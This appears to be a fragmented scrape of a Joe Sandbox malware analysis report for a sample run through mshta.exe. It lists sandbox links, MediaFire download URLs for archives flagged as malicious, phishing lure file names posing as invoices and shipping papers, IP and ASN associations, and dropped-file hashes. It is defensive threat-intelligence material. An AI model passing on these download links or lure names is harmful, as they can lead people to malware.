https://view.joesandbox.com/analysis/252785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252785/html/none?idtype=webid
https://view.joesandbox.com/analysis/232859/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232859/html/none?idtype=webid
https://view.joesandbox.com/analysis/232853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232853/html/none?idtype=webid
https://view.joesandbox.com/analysis/224994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224994/html/none?idtype=webid
https://view.joesandbox.com/analysis/218644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218644/html/none?idtype=webid
https://view.joesandbox.com/analysis/212530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212530/html/none?idtype=webid


www.mediafire.com/file/xn60pc8souxfqax/fac_01200.7z/file
Get hash malicious Browse  www.media

fire.com/f
ile/xn60pc
8souxfqax/
fac_01200.
7z/file

www.mediafire.com/file/cmzz439j3nr3cp9/TNT1.7z/file Get hash malicious Browse  www.media
fire.com/f
ile/cmzz43
9j3nr3cp9/
TNT1.7z/file

www.mediafire.com/file/59pevvifny3y35x/Comanda+de+achizi
tie.7z/file

Get hash malicious Browse  www.media
fire.com/f
ile/59pevv
ifny3y35x/
Comanda+de
+achizitie.7z/file

https://download2272.mediafire.com/dee0x8gd9lhg/kfsfaocy6
dzql61/Cheque+Copy.7z

Get hash malicious Browse  www.media
fire.com/about/

www.mediafire.com/file/449cj5l0pxynnlh/Endesa-
Facturacion20201806.zip

Get hash malicious Browse  www.media
fire.com/f
ile/449cj5
l0pxynnlh/
Endesa-Fac
turacion20
201806.zip

cartadelcobro.com/pdf_carta_cobro-23-04-2020/ Get hash malicious Browse  www.media
fire.com/f
ile/ss26bj
0bvghigyj/
Cobro.zip/file

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

download2347.mediafire.com Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88

Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88

original shipping documents.ppam Get hash malicious Browse 199.91.155.88

BRnRfGXrIP.exe Get hash malicious Browse 199.91.155.88

www.mediafire.com Credit Card and ID.ppam Get hash malicious Browse 104.16.203.237

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 104.16.203.237

6docs'pdf.ppam Get hash malicious Browse 104.16.202.237

Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse 104.16.203.237

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 104.16.203.237

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 104.16.202.237

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 104.16.203.237

original shipping documents.ppam Get hash malicious Browse 104.16.202.237

PO 16860.ppam Get hash malicious Browse 104.16.203.237

VESSEL SAILING SCHEDULE FOR WEEK __ 48.ppam Get hash malicious Browse 104.16.203.237

Payment Advice 001-22112021.ppam Get hash malicious Browse 104.16.203.237

IRQ2107799.ppam Get hash malicious Browse 104.16.202.237

original shipping documents.ppam Get hash malicious Browse 104.16.203.237

IRQ2107798.ppam Get hash malicious Browse 104.16.203.237

Import Invoice Duty.ppam Get hash malicious Browse 104.16.203.237

IRQ2107798.ppam Get hash malicious Browse 104.16.202.237

Order_110921.ppam Get hash malicious Browse 104.16.202.237

Copy SHM.ppam Get hash malicious Browse 104.16.202.237

OAuweKAQj6.exe Get hash malicious Browse 104.16.202.237

1VHJ3t2uPy.exe Get hash malicious Browse 104.16.203.237

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLOUDFLARENETUS Credit Card and ID.ppam Get hash malicious Browse 104.16.203.237

P.O-5433ERE.doc Get hash malicious Browse 172.67.184.102

Quotation No. Q07387.doc Get hash malicious Browse 104.21.19.200

hSlk750R2b.exe Get hash malicious Browse 104.23.98.190

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 104.16.203.237

Halbank Ekstre 2021101 073653 270424.exe Get hash malicious Browse 172.67.188.154

Hong Jin International Co Ltd -Order Specification.exe Get hash malicious Browse 104.21.19.200

Domains

ASN
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https://view.joesandbox.com/analysis/205187/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205187/html/none?idtype=webid
https://view.joesandbox.com/analysis/205184/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205184/html/none?idtype=webid
https://view.joesandbox.com/analysis/180829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/180829/html/none?idtype=webid
https://view.joesandbox.com/analysis/173952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/173952/html/none?idtype=webid
https://view.joesandbox.com/analysis/172716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/172716/html/none?idtype=webid
https://view.joesandbox.com/analysis/162958/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162958/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/281369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281369/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid
https://view.joesandbox.com/analysis/411592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411592/html/none?idtype=webid
https://view.joesandbox.com/analysis/410329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410329/html/none?idtype=webid
https://view.joesandbox.com/analysis/410279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410279/html/none?idtype=webid
https://view.joesandbox.com/analysis/408778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408778/html/none?idtype=webid
https://view.joesandbox.com/analysis/405312/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405312/html/none?idtype=webid
https://view.joesandbox.com/analysis/364353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364353/html/none?idtype=webid
https://view.joesandbox.com/analysis/364283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364283/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416401/html/none?idtype=webid
https://view.joesandbox.com/analysis/416399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416399/html/none?idtype=webid
https://view.joesandbox.com/analysis/416396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416396/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416392/html/none?idtype=webid
https://view.joesandbox.com/analysis/416389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416389/html/none?idtype=webid


ORDER PROPOSAL.exe Get hash malicious Browse 162.159.13
4.233

8p2NlqFgew.exe Get hash malicious Browse 162.159.13
5.233

TT COPY_02101011.exe Get hash malicious Browse 172.67.158.42

GZ4OR9sIdP.exe Get hash malicious Browse 172.67.188.154

4lWWTrEJuS.exe Get hash malicious Browse 104.21.31.203

TT_SWIFT_Export Order_noref S10SMG00318021.exe Get hash malicious Browse 23.227.38.74

TxIDbatch#7809.htm Get hash malicious Browse 104.16.18.94

Se adjunta el pedido, proforma.exe Get hash malicious Browse 162.159.13
4.233

Google_Play_Store_flow_split.apk Get hash malicious Browse 104.21.4.48

Statement.html Get hash malicious Browse 104.16.18.94

Employee payment plan.HTM Get hash malicious Browse 104.18.10.207

S9yf6BkjhTQUbHE.exe Get hash malicious Browse 172.67.178.31

Halbank Ekstre 2021101 073653 270424.exe Get hash malicious Browse 172.67.188.154

MEDIAFIREUS Credit Card and ID.ppam Get hash malicious Browse 205.196.123.58

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88

6docs'pdf.ppam Get hash malicious Browse 199.91.155.132

Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 199.91.155.131

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 199.91.155.131

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 199.91.155.131

original shipping documents.ppam Get hash malicious Browse 199.91.155.88

PO 16860.ppam Get hash malicious Browse 199.91.155.131

VESSEL SAILING SCHEDULE FOR WEEK __ 48.ppam Get hash malicious Browse 199.91.155.131

Payment Advice 001-22112021.ppam Get hash malicious Browse 199.91.155.131

IRQ2107799.ppam Get hash malicious Browse 199.91.155.130

original shipping documents.ppam Get hash malicious Browse 199.91.155.129

IRQ2107798.ppam Get hash malicious Browse 199.91.155.131

Import Invoice Duty.ppam Get hash malicious Browse 199.91.155.129

IRQ2107798.ppam Get hash malicious Browse 199.91.155.131

Order_110921.ppam Get hash malicious Browse 199.91.155.130

Copy SHM.ppam Get hash malicious Browse 205.196.123.64

zEQyeKgNgG.exe Get hash malicious Browse 199.91.155.72

OAuweKAQj6.exe Get hash malicious Browse 205.196.12
2.212

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

7dcce5b76c8b17472d024758970a406b Credit Card and ID.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

survey-1384723731.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

survey-1378794827.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

6docs'pdf.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

PO201808143_330542IMG_20200710_0008.rtf Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

JA3 Fingerprints
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https://view.joesandbox.com/analysis/416388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416388/html/none?idtype=webid
https://view.joesandbox.com/analysis/416387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416387/html/none?idtype=webid
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid
https://view.joesandbox.com/analysis/416381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416381/html/none?idtype=webid
https://view.joesandbox.com/analysis/416373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416373/html/none?idtype=webid
https://view.joesandbox.com/analysis/416372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416372/html/none?idtype=webid
https://view.joesandbox.com/analysis/416365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416365/html/none?idtype=webid
https://view.joesandbox.com/analysis/416362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416362/html/none?idtype=webid
https://view.joesandbox.com/analysis/416349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416349/html/none?idtype=webid
https://view.joesandbox.com/analysis/416344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416344/html/none?idtype=webid
https://view.joesandbox.com/analysis/416339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416339/html/none?idtype=webid
https://view.joesandbox.com/analysis/416306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416306/html/none?idtype=webid
https://view.joesandbox.com/analysis/416286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416286/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid
https://view.joesandbox.com/analysis/411592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411592/html/none?idtype=webid
https://view.joesandbox.com/analysis/410329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410329/html/none?idtype=webid
https://view.joesandbox.com/analysis/410279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410279/html/none?idtype=webid
https://view.joesandbox.com/analysis/408778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408778/html/none?idtype=webid
https://view.joesandbox.com/analysis/405312/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405312/html/none?idtype=webid
https://view.joesandbox.com/analysis/369409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/369409/html/none?idtype=webid
https://view.joesandbox.com/analysis/364353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364353/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416267/html/none?idtype=webid
https://view.joesandbox.com/analysis/416264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416264/html/none?idtype=webid
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid
https://view.joesandbox.com/analysis/415894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415894/html/none?idtype=webid


Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

new-1834138397.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

new-1179494065.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

chase.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

private-1915056036.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

private-1910485378.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

INVOICE - FIRST 2 CONTAINERS 1110.docx Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

SWIFT-MT-103.docx Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

Balance.xls Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

original shipping documents.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

INVOICE - FIRST 2 CONTAINERS 1110.docx Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

PO 16860.ppam Get hash malicious Browse 199.91.155.88
172.217.168.45
172.217.168.9
172.217.168.1
104.16.203.237

36f7277af969a6947a61ae0b815907a1 Credit Card and ID.ppam Get hash malicious Browse 67.199.248.16

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 67.199.248.16

6docs'pdf.ppam Get hash malicious Browse 67.199.248.16

4777_211122173928_001.xlsx Get hash malicious Browse 67.199.248.16

Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse 67.199.248.16

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 67.199.248.16

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 67.199.248.16

original shipping documents.ppam Get hash malicious Browse 67.199.248.16

PO 16860.ppam Get hash malicious Browse 67.199.248.16

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415715/html/none?idtype=webid
https://view.joesandbox.com/analysis/415681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415681/html/none?idtype=webid
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid
https://view.joesandbox.com/analysis/415656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415656/html/none?idtype=webid
https://view.joesandbox.com/analysis/415613/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415613/html/none?idtype=webid
https://view.joesandbox.com/analysis/415607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415607/html/none?idtype=webid
https://view.joesandbox.com/analysis/415558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415558/html/none?idtype=webid
https://view.joesandbox.com/analysis/415238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415238/html/none?idtype=webid
https://view.joesandbox.com/analysis/415232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415232/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/414974/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414974/html/none?idtype=webid
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416149/html/none?idtype=webid
https://view.joesandbox.com/analysis/415860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415860/html/none?idtype=webid
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415672/html/none?idtype=webid
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414890/html/none?idtype=webid


Rev_NN doccument.doc Get hash malicious Browse 67.199.248.16

VESSEL SAILING SCHEDULE FOR WEEK __ 48.ppam Get hash malicious Browse 67.199.248.16

Payment Advice 001-22112021.ppam Get hash malicious Browse 67.199.248.16

IRQ2107799.ppam Get hash malicious Browse 67.199.248.16

HqCYq1FI94.rtf Get hash malicious Browse 67.199.248.16

PI-#U00dcRN.Z#U00dcCC.LTD #U015eT.docx Get hash malicious Browse 67.199.248.16

original shipping documents.ppam Get hash malicious Browse 67.199.248.16

INVOICE - FIRST 2 CONTAINERS 1110.xlsx Get hash malicious Browse 67.199.248.16

Pago_Confirmacion.xls Get hash malicious Browse 67.199.248.16

Confirmacion, Pago Fecha.xls Get hash malicious Browse 67.199.248.16

Non-Standard Software Request form (002).doc Get hash malicious Browse 67.199.248.16

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\281434096-static_pages[1].css
Process: C:\Windows\System32\mshta.exe

File Type: ASCII text, with very long lines

Category: downloaded

Size (bytes): 3812

Entropy (8bit): 5.167428807218489

Encrypted: false

SSDEEP: 96:Tpnj64Z4HufeAA4DhRXRBd031AkDhRXRBd039YAH/hv:xjnRfp

MD5: B3E61DF6E41A93485461F77324FCD93E

SHA1: 46EFB1044FF1CB854E02BCB49ADA1D501CE0AFF4

SHA-256: 0FC52EF116F03FD95F9857856F1E2CBDFA2CACC398E066DB0D8D5481739BC2D7

SHA-512: 2CEB087B5B5122A2CDC6EDF8CC0613A8F2671091E8524C8E8F312BDCF39A494FD260F84E0C8EFAD1A09738DF4896C6C39964B3A26463628398D6111DBE68AB3
C

Malicious: false

IE Cache URL: https://www.blogger.com/static/v1/v-css/281434096-static_pages.css

Preview:
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0}a{text-decoration:none}table{border-collapse:collapse;
border-spacing:0}fieldset,img{border:0}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal}ol,ul{list-style:none}caption,th{text-align:lef
t}h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal}q:before,q:after{content:''}abbr,acronym{border:0}body{font-family:"open sans",arial,sans-serif;line-height:1.54}h1{
font-size:20px;font-weight:300;margin:20px 0;color:#f60}h2{font-size:24px;font-weight:700;margin:2em 0 1em 0}h3{font-size:14px;font-weight:700;margin:1.2em 0 .6em 
0}p{margin-bottom:2em}ul{padding:0}.maia-footer h5{font-size:13px;font-weight:700;margin:1.236em 0 .618em;text-transform:uppercase}.footer-links{list-style-type:none;p
adding:0}.footer-links a:link,.footer-links a:visited{color:#999;text-decoration:none}#footer a:hover{color:#ff9434}#copyright{float:right}.sign-in{float:right}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\403901366-ieretrofit[1].js
Process: C:\Windows\System32\mshta.exe

File Type: ASCII text, with very long lines

Category: downloaded

Size (bytes): 26633

Entropy (8bit): 5.47079862989232

Encrypted: false

SSDEEP: 384:12aOYTYDWsss8m/LFB9qxCXhHotj3TfL5VMyXufjWFNPvy7e601DeP+eF4MegkQO:12M1H7kqZvy7etojF4Vgj4Dlagz

MD5: D9C2977027243C55D7C30A91A772A1F5

SHA1: 04E6C365F6F30ECF2A3C806584289E5DCAAE7136

SHA-256: 380672F7418F917D947A24FA2B9CF586ED35030E35696AF2F913D1E37ED9CAC9

SHA-512: F3FEDA2EE7D6D5DB9A860F89E2E42F4F8C9BC66FE0C67A35E9E6880EEF5D8EEA3BA2DF45A69F492F2759C7AB7127EB75286BB7C87F73266F612EBA50929EE5
8F

Malicious: false

IE Cache URL: https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.js

Preview:
(function(){/*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var aa=' coordorigin="0 0" coordsize="',ba=' endcap="flat"',u=" l ",w=" m 
",ca='"><g_vml_:fill color="',da=":0;width:",ea='<g_vml_:shape fillcolor="',ia="borderRadius_bl",ja="borderRadius_br",ka="borderRadius_tl",la="borderRadius_tr",
ma="borderWidth_bottom",x="borderWidth_left",na="borderWidth_right",y="borderWidth_top",z="none",A="rgba(",oa="shadowBlurRadius",pa='style="position:absolute;to
p:0;',B="transparent",C="{borderColor}",D="{borderWidth}",E,F=this||self,qa=function(a,b,e,c){a=a.split(".");.c=c||F;a[0]in c||"undefined"==typeof c.execScript||c.execScr
ipt("var "+a[0]);for(var d;a.length&&(d=a.shift());)if(a.length||void 0===b)c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={};else if(!e&&H(b)&&H(c[d]))for(var f in b)b.has
OwnProperty(f)&&(c[d][f]=b[f]);else c[d]=b},ra=function(){},H=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b},I=function(a){return Object.prototype.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[1]
Process: C:\Windows\System32\mshta.exe

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/414411/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414411/html/none?idtype=webid
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414148/html/none?idtype=webid
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414144/html/none?idtype=webid
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414008/html/none?idtype=webid
https://view.joesandbox.com/analysis/413298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413298/html/none?idtype=webid
https://view.joesandbox.com/analysis/413198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413198/html/none?idtype=webid
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412873/html/none?idtype=webid
https://view.joesandbox.com/analysis/410351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410351/html/none?idtype=webid
https://view.joesandbox.com/analysis/409827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409827/html/none?idtype=webid
https://view.joesandbox.com/analysis/409814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409814/html/none?idtype=webid
https://view.joesandbox.com/analysis/409458/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409458/html/none?idtype=webid


File Type: HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 3247

Entropy (8bit): 5.459946526910292

Encrypted: false

SSDEEP: 96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa

MD5: 16AA7C3BEBF9C1B84C9EE07666E3207F

SHA1: BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1

SHA-256: 7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754

SHA-512: 245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1

Malicious: false

Preview:
...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; 
charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_Error
